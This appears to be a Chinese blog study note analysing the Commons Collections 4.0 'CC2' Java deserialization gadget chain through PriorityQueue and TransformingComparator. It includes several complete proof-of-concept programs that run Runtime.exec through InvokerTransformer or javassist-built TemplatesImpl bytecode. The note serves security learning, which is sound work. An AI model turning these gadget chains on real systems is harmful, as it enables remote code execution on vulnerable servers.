java反序列化--CC2

java反序列化–CC2

前置

介绍

CC2的环境与前面学习的CC1 CC3 CC6环境有一点不一样

之前我们都是在是Commons-Collections=3.2.1下的攻击

而这个CC2则是在Commons-Collections=4.0下的攻击

Apache Commons Collections是⼀个著名的辅助开发库,包含了⼀些Java中没有的数据结构和和辅助 方法,不过随着Java 9以后的版本中原生库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级或替代。

在2015年底commons-collections反序列化利用链被提出时,Apache Commons Collections有以下两个分支版本:

  • commons-collections:commons-collections

  • org.apache.commons:commons-collections4

可见,groupId和artifactId都变了。前者是Commons Collections老的版本包,当时版本号是3.2.1;后者是官方在2013年推出的4版本,当时版本号是4.0

官方认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产生大量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个用来替换commons-collections的新版本,而是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项目中

这也是为什么要分版本的原因

环境配置

需要重新配置maven

<dependencies>
<!-- Apache Commons Collections 4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

我们直接新建一个项目 重新配置maven就行

按照我们配3.2.1的步骤来就是

记得要重新加载一下maven

这里也解决了我们之前CC3的lazyMap的问题

Commons-Collections=4.0下的思考

既然3.2.1中存在反序列化利用链,那么4.0版本是否存在呢

我们直接尝试CC6能不能在4.0下能不能运行

先就是一个下马威啊 24个报错

image-20240604001722167

我们发现导入的包都有问题

看看怎么个事

我们对比一下依赖

<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commonscollections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

我们可以发现

老的Gadget中依赖的包名都是 org.apache.commons.collections ,而新的包名已经变了,是 org.apache.commons.collections4

所以

我们应该将所 有 import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.*

但是改后还是由一个错误

报LazyMap.decorate的错误

image-20240604151122791

我们先看看原来CC6里的LazyMap.decorate的定义

image-20240604151310700

这个报错的原因肯定是在新的依赖里面没有这个类

而我们应该怎么在Commons-Collections=4.0调用这个decorate呢

我们直接在新依赖里找有相同功能的类

以进来就直接看到了

image-20240604151703352

这不是和我们需要的decorate一模一样吗

public static <V, K> LazyMap<K, V> lazyMap(Map<K, V> map, Transformer<? super K, ? extends V> factory) {
return new LazyMap(map, factory);
}
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

所以

我们只要替换一下名字即可

Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);

这样就行

没问题了

image-20240604152112128

应该是可以运行了

没问题

image-20240604152156999

既然CC6可以在Commons-Collections=4.0下运行

那么我们之前构造的CC1和CC3肯定也是没问题的

这里就不多说了

CC2

那么Commons-Collections=4.0有没有新链子吗

当然

这就是CC2与CC4

这里我们先学习CC2

POC

先上poc

package com.govuln.deserialization;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

public class CommonsCollections2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Comparator comparator = new TransformingComparator(transformerChain);

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

setFieldValue(transformerChain, "iTransformers", transformers);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

链子构造与分析

commons-collections这个包之所有能攒出那么多利用链来,除了因为其使用量大,技术上的原因是其 中包含了一些可以执行任意方法的Transformer。所以,在commons-collections中找Gadget的过 程,实际上可以简化为,找一条从 Serializable.readObject() 方法到 Transformer.transform() 方法的调用链

好 现在我们再来看CC2的POC

CC2里有两个关键类

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator

为什么说这两个类关键呢

java.util.PriorityQueue 是⼀个有自己 readObject() 方法的类

image-20240604154010148

org.apache.commons.collections4.comparators.TransformingComparator 中有调 ⽤ transform() 方法的函数:

image-20240604154228127

所以我们就可以知道CC2就是一条从PriorityQueue.readObject()TransformingComparator.comapare.transform() 的利用链

好 接下来就是把他们给串起来

我们之前说过 readObject()是java反序列化的起点

所以我们从PriorityQueue.readObject()开始 来看看它调用了什么类/方法

首先PriorityQueue.readObject()调用了heapify()方法

image-20240604155347151

点进去

image-20240604155523603

发现heapify()调用了siftDown()方法

点进去

image-20240604155658700

siftDown()调用链siftDownUsingComparator()方法

点进去

image-20240604155804822

回来了 调用了compare方法

这样一来链子就通了

链子还是能简单的

接下来就可以构造我们的链子了

首先,还是创建Transformer,基作:

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

嗯 你没看错 一模一样的哈

然后就是创建⼀个 TransformingComparator ,传入我们的Transformer:

Comparator comparator = new TransformingComparator(transformerChain);

好 我们实例化 PriorityQueue 对象,第⼀个参数是初始化时的大小,至少需要2个元素才会触发排序和比较, 所以是2;第二个参数是比较时的Comparator,传入前面实例化的comparator:

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

后面随便添加了2个数字进去,这里可以传入非null的任意对象,因为我们的Transformer是忽略传入参 数的

最后,将真正的恶意Transformer设置上:

setFieldValue(transformerChain, "iTransformers", transformers);

当然 得有setFieldValue方法

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

定义了一个名为 setFieldValue 的静态方法,它接受三个参数:一个是目标对象 obj,一个是要修改的字段名 fieldName(字符串类型),最后一个是要设置给该字段的新值 value。这个方法的主要作用是利用 Java 反射 API 动态地修改指定对象中某个字段的值,具体步骤如下:

  1. 获取 Field 对象:通过 obj.getClass().getDeclaredField(fieldName) 获取目标对象 obj 类中声明的、名为 fieldName 的字段。getDeclaredField 方法可以访问私有字段,但不包括父类的字段。
  2. 开放访问权限:由于直接访问私有字段通常受到限制,所以使用 field.setAccessible(true) 方法来取消 Java 访问控制检查,允许后续代码修改这个字段的值,即使它原本是 private 的。
  3. 设置字段值:最后,通过 field.set(obj, value) 实际设置 obj 对象中 fieldName 字段的值为 value

然后就是最后的序列化与反序列化

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();//序列化流
        System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
//反序列化

最后就组成了我们的POC啦

调用流程

PriorityQueue.readObject->
PriorityQueue.heapify->
PriorityQueue.siftDown->
PriorityQueue.siftDownUsingComparator->
TransformingComparator.compare->
ChainedTransformer.transform->.......

CC2的进化之路

在CC3中 我们知道用 TemplatesImpl 可以构造出无Transformer数组的利用

这里我们也可以用这个来进化一下我们的CC2

进化失败

创建 TemplatesImpl 对象

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

创建⼀个人畜无害的 InvokerTransformer 对象,并用它实例化 Comparator

Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);

样实例化 PriorityQueue ,但是此时向队列里添加的元素就是我们前面创建的 TemplatesImpl 对象了:

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj)

因为我们这里无法再使用Transformer数组,所以也就不能用 ConstantTransformer 来初始化变量,需要接受外部传入的变量。而在 Comparator.compare() 时,队列里的元素将作为参数传入transform() 方法,这就是传给 TemplatesImpl.newTransformer 的参数。

最后⼀步,将 toString 方法改成恶意方法 newTransformer

setFieldValue(transformer, "iMethodName", "newTransformer");

最后就形成了我们的CC2进化POC

package com.govuln.deserialization;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsCollections2TemplatesImpl {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

protected static byte[] getBytescode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName());
return clazz.toBytecode();
}

public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);

setFieldValue(transformer, "iMethodName", "newTransformer");

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

这个POC我一直爆evil的错 目前还没有解决 没有找到相应的包

但是整体的代码逻辑和升级思路没问题

image-20240604192911997

进化成功

这里我从新找了一个POC来

思路是一样的

都是通过用了javassist动态构造了我们恶意类的字节码

再来CC3的思路

POC

package example;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class CC22 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类

payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime

byte[] bytes=payload.toBytecode();//转换为byte数组

Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator

Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();

}
}

这个POC是没问题的

image-20240604193233796

我们重新分析一下吧 虽然思路差不多

这条链子和CC2进化之前的链子有很多地方都是一样的,不过这里 RCE 的方法是利用 javassist 中的字节码编程获取到字节码,然后再利用 TemplatesImpl 中的 defineTransletClasses 方法把字节码加载到 JVM 中运行

链子分析

从 POC 入手

推反序列化链,readObjectsiftDownUsingComparator 这一段都是一样的,不过要重新分析一下 siftDownUsingComparator 利用的过程

image-20240604194627498

可以看到在 POC 中通过反射给 queue 实例中的 queue 属性 set 成了我们的恶意类

image-20240604195341442

我们回头看siftDownUsingComparator

传进这个方法的 k 值为 0,x 值为 queue [0]

image-20240604200106932

下面有一个 && 短路

因为 child 为 (k<<1)+1, 所以值为 2, 又因为 size 也为 2,所以你看这里

image-20240604200348594

即使我们的 c 值,queue [right] 值存在着我们的恶意类,因为 right==size=2, 所以在这个逻辑中前面就已经为 false 了,所以后面的 compare 方法是不会执行的

我们其实执行的 compare 方法是在下一个 if 语句

image-20240604200809671

我们的debug中也有所体现

所以 我们的 queue [0] 中必须放着我们的恶意类,其他的放不放无所谓 (即使 c 也可以传进去)

我们在回头看TransformingComparator.compare

image-20240604201700334

我们传入的 x 即 queue [0] 是被先执行的,所以如果 queue [0] 中不存在我们的恶意类,后面的 InvokerTransformer 就无法执行 newTransformer 方法,就会直接抛出错误中断运行

至于为什么是数组,因为 queue 是数组嘛

这也是为什么必须放着我们的恶意类的原因

然后就是TemplatesImpl加载字节码了

这里就不索了

这里是用了javassist动态构造了我们恶意类的字节码,当然也可以直接编译成class文件,然后用二进制字节码来存储

image-20240604203301928

这里是用ClassPool 和CtClass来生成恶意类的字节码

image-20240604203450335

我们反射创建TemplatesImpl类,这没什么好说的,反射获取到了TemplatesImpl.instance对象作为TemplatesImpl类的实例化

image-20240604203807980

通过Field来获取_bytecodes属性,这里调用的getDeclaredField()方法,并设置setAccessible(true);能获取到所有属性包括Privatie的

image-20240604204708784

获取到_bytecodes属性后把我们生成的恶意类字节码bytes给set赋值到里面去

image-20240604204755288

想调用到defineTransletClasses()方法就要保证 _name不为空,getTransletInstance()用defineTransletClasses()来加载字节码生成类

并且下面语句实例化恶意类

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

image-20240604205832076

getTransletInstance()会去调用defineTransletClasses(),又会继续调用ClassLoader的defineClass来加载我们的字节码(这到ClassLoader已经底层类加载了)来生成恶意类

loader.defineClass(_bytecodes[i]);

image-20240604210134421

所以接下来的poc是设置_name为我们的恶意类名,保证它不为空

image-20240604210429456

image-20240604210414083

通过结构 找到了在TemplatesImpl类中有一个new TransformerImpl()方法内部调用了getTransletInstance()方法能成功调用

image-20240604211038778

那么再来看看这个newTransformerImpl()方法是什么

它会返回一个transformer

然后就是我们的InvokerTransformer类的transform()方法来调用new TransformerImpl()方法

再就是我们前面所提到的PriorityQueue集合了!

该队列的comparator属性我们可以指定成TransformingComparator比较器的,这样就可以调用TransformingComparator的compare()方法了

并且把比较对象设置成TemplatesImpl类的对象

因此我们只需要在PriorityQueue集合中添加两个TemplatesImpl对象作为集合元素就可以触发之前构造的利用链。

image-20240604211509209

当然 是先实例化一个PrioritQueue对象,我们可控comparator属性,填入的两个元素

然后设置comparator的属性,通过Field获取到对应的属性,然后传入comparator和queue属性

注意这里因为是比较队列至少需要两个元素,所以我们传入两个TemplatesImpl_instance对象

image-20240604211658969

接下来就是熟悉的序列化再反序列化出来了也就是模拟一边数据传输流了

image-20240604211726045

分析就差不多这样

可能这个POC更好理解一点

注释不那辣莫多 更清晰一点

package cc2;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Poc {
public static void main(String[] args) throws Exception {
//构造恶意类TestTemplatesImpl并转换为字节码
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("cc2.TestTemplatesImpl");
byte[] bytes = ctClass.toBytecode();
System.out.println(bytes);

//反射创建TemplatesImpl
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();

//将恶意类的字节码设置给_bytecodes属性
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance, new byte[][]{bytes});

//设置属性_name为恶意类名
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance, "TestTemplatesImpl");

//构造利用链
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transformer_comparator = new TransformingComparator(transformer);

//触发漏洞
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);

//设置comparator属性
Field field = queue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, transformer_comparator);

//设置queue属性
field = queue.getClass().getDeclaredField("queue");
field.setAccessible(true);
//队列至少需要2个元素
Object[] objects = new Object[]{TemplatesImpl_instance, TemplatesImpl_instance};
field.set(queue, objects);

//序列化 ---> 反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object object = ois.readObject();
}
}

注意:

PriorityQueue的利用链是否支持在Commons-Collections=3中使⽤

当然不行因为这条利用链中的关键类 org.apache.commons.collections4.comparators.TransformingComparator ,在Commons-Collections=4.0以前是版本中是没有实现 Serializable 接口的